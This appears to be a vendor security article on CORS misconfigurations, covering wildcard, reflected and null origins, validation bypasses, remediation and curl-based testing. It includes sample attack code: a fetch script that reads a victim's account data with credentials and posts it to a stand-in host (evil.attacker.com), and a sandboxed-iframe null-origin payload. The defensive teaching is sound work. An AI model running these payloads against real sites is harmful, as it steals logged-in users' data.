Cross-Origin Resource Sharing (CORS) is the browser mechanism that controls whether scripts on one origin can read responses from another. A correct CORS configuration restricts cross-origin reads to trusted origins. A misconfigured one can allow any website on the internet to read your API responses on behalf of a logged-in user, which is a direct path to account compromise.
CORS misconfiguration appears in a wide range of production applications because the correct configuration requires understanding what the policy actually enforces, and the common mistakes are easy to make. This article covers each misconfiguration pattern, the specific attack it enables, and how to fix and test the configuration.
What CORS Does and Why It Matters
By default, browsers apply the Same-Origin Policy: scripts on https://app.example.com cannot read responses from https://api.other.com. CORS is the mechanism that allows servers to selectively relax this restriction by declaring which origins may read their responses.
The browser, not the server, enforces CORS. When a script makes a cross-origin request, the browser checks the response headers. If the response includes an Access-Control-Allow-Origin header that matches the requesting origin, the browser permits the script to read the response. If not, the browser blocks the read.
Critically, CORS does not prevent the request from reaching the server. It only controls whether the script can read the response. This distinction matters for understanding which attacks CORS prevents and which it does not.
Wildcard Origin: Access-Control-Allow-Origin: *
Setting Access-Control-Allow-Origin: * allows any origin to read the response. For genuinely public resources (public CDN assets, open data APIs with no authentication), this is intentional and correct. For endpoints that return user data, account information, or anything that changes based on who is making the request, it is a vulnerability.
# A public CDN asset — wildcard is correct here
Access-Control-Allow-Origin: *
# An authenticated API endpoint returning user data — wildcard is wrong
Access-Control-Allow-Origin: *
Content-Type: application/json
{"userId": "123", "email": "user@example.com", "balance": "$4,200"}The wildcard cannot be combined with Access-Control-Allow-Credentials: true. The CORS specification forbids it, and browsers enforce this: they will refuse to expose a credentialed response to a script when ACAO: * is set. However, if the endpoint does not require cookies (uses token-based auth in the header instead), a wildcard means any site can read the responses without credentials.
Reflected Origin: The Most Common Misconfiguration
Origin reflection occurs when a server takes the value from the incoming Origin request header and copies it directly into the Access-Control-Allow-Origin response header. This effectively allows every origin, because any origin is reflected back as trusted.
# Attacker sends request with their origin
GET /api/user/profile HTTP/1.1
Origin: https://evil.attacker.com
# Vulnerable server reflects it back
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true
{"email": "victim@example.com", "phone": "..."}Origin reflection without credentials (no Access-Control-Allow-Credentials: true) allows any site to read unauthenticated responses. The severity depends on the sensitivity of what the endpoint returns. For API endpoints that serve real data, this is a high severity finding.
Origin reflection is typically introduced by developers who need to support multiple legitimate origins and write code that dynamically reads the incoming Origin header and returns it. The correct implementation uses an explicit allowlist.
The Credentials Trap: Reflected Origin Plus Credentials
The combination of reflected origin and Access-Control-Allow-Credentials: true is the most severe CORS misconfiguration. It allows any website to make fully authenticated cross-origin requests as a logged-in user and read the responses. The browser will include the user's session cookies in the request and expose the response to the attacker's script.
A practical attack scenario: the victim visits a page controlled by an attacker. The page silently makes a fetch request to https://api.yourapp.com/account with credentials: 'include'. The victim's browser sends the request with their session cookie. The server reflects the attacker's origin and sets Allow-Credentials: true. The attacker's script reads the full response, including account data, and sends it to the attacker's server.
// Attacker's page
fetch('https://api.yourapp.com/account', {
credentials: 'include' // sends victim's cookies
})
.then(r => r.json())
.then(data => {
// data contains the victim's full account information
fetch('https://evil.attacker.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});This attack requires no user interaction beyond visiting the attacker's page. Website Footprint classifies reflected origin combined with Allow-Credentials: true as a critical severity finding.
Null Origin Allowance
The null origin is sent by browsers in specific contexts: sandboxed iframes, local file:// pages, and redirected cross-origin requests. Servers that include null in their CORS origin allowlist respond to Access-Control-Allow-Origin: null when the request origin is null.
An attacker can send requests with a null origin from a sandboxed iframe:
<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
<script>
fetch('https://api.yourapp.com/data', { credentials: 'include' })
.then(r => r.text())
.then(d => parent.postMessage(d, '*'));
</script>
"></iframe>The browser sends Origin: null from the sandboxed iframe. If the server responds with Access-Control-Allow-Origin: null, the script can read the response. Never allow the null origin in a production CORS configuration.
Origin Validation Mistakes
Prefix and Substring Matching
A common mistake when validating origins against an allowlist is using prefix matching or substring checking instead of exact matching:
// Vulnerable: startsWith check
if (origin.startsWith('https://example.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
// Bypass: https://example.com.evil.com// Vulnerable: includes check
if (origin.includes('example.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
// Bypass: https://evil-example.com or https://prefix.example.com.evil.comThe correct check is an exact match against a hardcoded allowlist of trusted origins.
Unescaped Regex Characters
Origin validation that uses regex without proper escaping can be bypassed:
// Vulnerable: dot is unescaped in regex — matches any character
const pattern = /^https://example.com$/;
// https://exampleXcom passes this checkThe dot in domain names must be escaped as \. in regex patterns used for origin validation. All special regex characters must be escaped when domain names are used in pattern matching.
Remediation
The correct CORS implementation for endpoints that require origin-based access control:
- Maintain an explicit hardcoded allowlist of trusted origins (no dynamic reflection, no regex unless carefully escaped).
- Use exact string matching against the allowlist.
- Only set
Access-Control-Allow-Credentials: truewhen credentials are genuinely required, and only in combination with an explicit (non-wildcard, non-reflected) allowed origin. - Never allow the
nullorigin in production. - Public API endpoints that serve non-sensitive data may use
*, but only after confirming no authenticated data is returned.
// Correct: explicit allowlist with exact match
const ALLOWED_ORIGINS = new Set([
'https://app.example.com',
'https://dashboard.example.com',
]);
function handleCors(req, res) {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin'); // required when origin varies
}
}The Vary: Origin header is required when the response varies by origin. Without it, a CDN may cache a response with one origin's CORS headers and serve it to requests from a different origin.
Verifying Your CORS Configuration
Test your CORS configuration with curl by sending requests with different origin values:
# Test with an attacker-controlled origin
curl -sI -H "Origin: https://evil.attacker.com" https://api.example.com/data | grep -i "access-control"
# Expected for a secure endpoint: no CORS headers, or CORS headers not matching the attacker origin
# Dangerous response: Access-Control-Allow-Origin: https://evil.attacker.com
# Test with the null origin
curl -sI -H "Origin: null" https://api.example.com/data | grep -i "access-control"
# Should not return: Access-Control-Allow-Origin: nullTest every API endpoint that returns data, not just the root URL. CORS configurations are sometimes applied inconsistently, with some routes having overly permissive headers while others are correctly restricted.
How WebDefect Tests CORS
WebDefect tests CORS by sending requests to the target URL with a controlled attacker origin value and a null origin value, then inspecting the response headers. The checks cover:
- Reflected origin with credentials (
cors-002): The server returnsACAOmatching the attacker origin andAccess-Control-Allow-Credentials: true. Critical severity. - Reflected origin without credentials (
cors-003): The server returnsACAOmatching the attacker origin without credentials. High severity. - Wildcard origin (
cors-001):ACAO: *is present. Severity is context-sensitive: high if combined with a credentials flag (spec violation), medium if the response appears to contain sensitive data, low for public resources. - Null origin (
cors-004): The server returnsACAO: nullin response to a null-origin request. High severity.